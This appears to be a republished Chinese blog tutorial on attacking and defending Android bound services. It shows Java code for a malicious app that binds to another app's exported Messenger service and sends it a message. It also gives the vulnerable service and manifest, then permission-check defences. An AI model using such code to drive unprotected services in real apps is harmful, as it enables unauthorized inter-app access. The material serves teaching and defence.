关于Android bound Service 攻击和防御
来源:互联网 发布:苹果mac系统安装教程 编辑:程序博客网 时间:2024/06/06 01:20
关于Android bound Service 攻击和防御
Android中允许使用Messenger和AIDL进行在多进程间通信bound service。那么这里就有问题产生,我们知道一般情况一个app对应一个进程,也就是多进程间通信,那两个不同的app之间也可以进行通信。那么如果自己实现恶意app就可以对其他app可以进行恶意操作。
【邪恶脸】我们可以写一个攻击案例,使用Messenger来实现,当然AIDL也可以。这里只是测试具体请自行分析:
这个是攻击的app主要内容,绑定被攻击的app的service,获得返回消息:
public class MesActivity extends Activity {private Button start;private Button stop;private ServiceConnection connection=new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { Messenger messenger=new Messenger(service); Message message=Message.obtain(null,1); Bundle bundle=new Bundle(); bundle.putString("key","from service connection"); message.setData(bundle); try{ messenger.send(message); }catch (RemoteException e){ e.printStackTrace(); } Log.e("TAG","connection"); } @Override public void onServiceDisconnected(ComponentName name) { Log.e("TAG","disconnection"); }};@Overrideprotected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.messenger_layout); initView();}public void initView(){ start=(Button)findViewById(R.id.mes_start); stop=(Button)findViewById(R.id.mes_stop); start.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent1=new Intent(); //com.example.mrsj.hacktool被攻击app包名 intent1.setPackage("com.example.mrsj.hacktool"); intent1.setAction("com.example.mrsj.hacktool.Messen"); intent1.addCategory("com.example.mrsj.hacktool.Mess"); bindService(intent1,connection,BIND_AUTO_CREATE); toastInfo(MesActivity.this,"bind"); } }); stop.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { unbindService(connection); toastInfo(MesActivity.this,"unbind"); } });}public void toastInfo(Context context,String s){ Toast.makeText(context,s,Toast.LENGTH_LONG).show();}}
被攻击app的内容:
public class MessenService extends Service {private Messenger messenger;private Handler handler=new Handler(new Handler.Callback() { @Override public boolean handleMessage(Message msg) { if (msg.what==1){ String s= msg.getData().getString("key"); Log.e("Service",s); } return true; }});@Nullable@Overridepublic IBinder onBind(Intent intent) { messenger=new Messenger(handler); return messenger.getBinder();}}manifes文件service内容:<service android:name=".MessenService"> <intent-filter> <action android:name="com.example.mrsj.hacktool.Messen"/> <category android:name="com.example.mrsj.hacktool.Mess"/> </intent-filter> </service>
结果将会在被攻击app输出from service connection。这里被攻击必须是运行,否则无法绑定。当然你可以自己去启动被攻击的app,然后绑定service。
重点防御:
- 可以在Manifest文件对暴露的Servic增加签名保护级别。
可以在Binder中进行验证:
1.使用Binder的静态方法getCallingPid或者getCallingUid来验证IPC调用者的身份,在获得调用者uid以后,可进一步使用PackageManager.getPackagesForUid(int uid)来获得调用者的包名,然后使用PackageManager.getPackageInfo(String Packagename, int flag)检查是否具有相应的权限(使用PackageManager.GET_PERMISSIONS flag)
2.在Service的OnBind方法中调用Context.checkCallingPermission(String permission)或者checkCallingPermissionOrSelf (String permission) 方法,验证IPC调用者是否拥有指定的权限,同样适用于Messenger;
3.使用Context.enforceCallingPermission(String permission, String message),如果调用者不具备权限,自动抛出SecurityException
- 关于Android bound Service 攻击和防御
- xss防御和攻击
- android Service 之Bound Service
- Android Service 之Bound Service
- android Service 之Bound Service
- android Service 之Bound Service
- Android官网中关于Creating a Bound Service的介绍笔记
- 浅析XSS攻击和防御
- CSRF的攻击和防御
- Android Bound Service 多线程通信
- Android-Creating a Bound Service
- Android学习--Service之Bound Service
- Android-Service组件之Bound Service
- android之Service(3)Bound Service
- 解读Android之Service(2)Bound Service
- 解读Android之Service(2)Bound Service
- 关于DDoS攻击的趋势与防御
- 新型 SQL 截断攻击和防御方法
- 构造函数初始值列表
- C#调试小技巧
- Java对象的序列化和反序列化
- 汇编-字符串的复制
- Android平台进行数据存储的五大方式
- 关于Android bound Service 攻击和防御
- mail 发送插件 BASP21 DLL
- 欢迎使用CSDN-markdown编辑器
- Android API Guides---Creating an Input Method
- html 框架frameset
- C++ 的内置函数(inline)和作用域运算符(::)
- SUSE Linux设置时区
- 五步学会XMLHttpRequest
- poj2773 欧拉函数+整除性质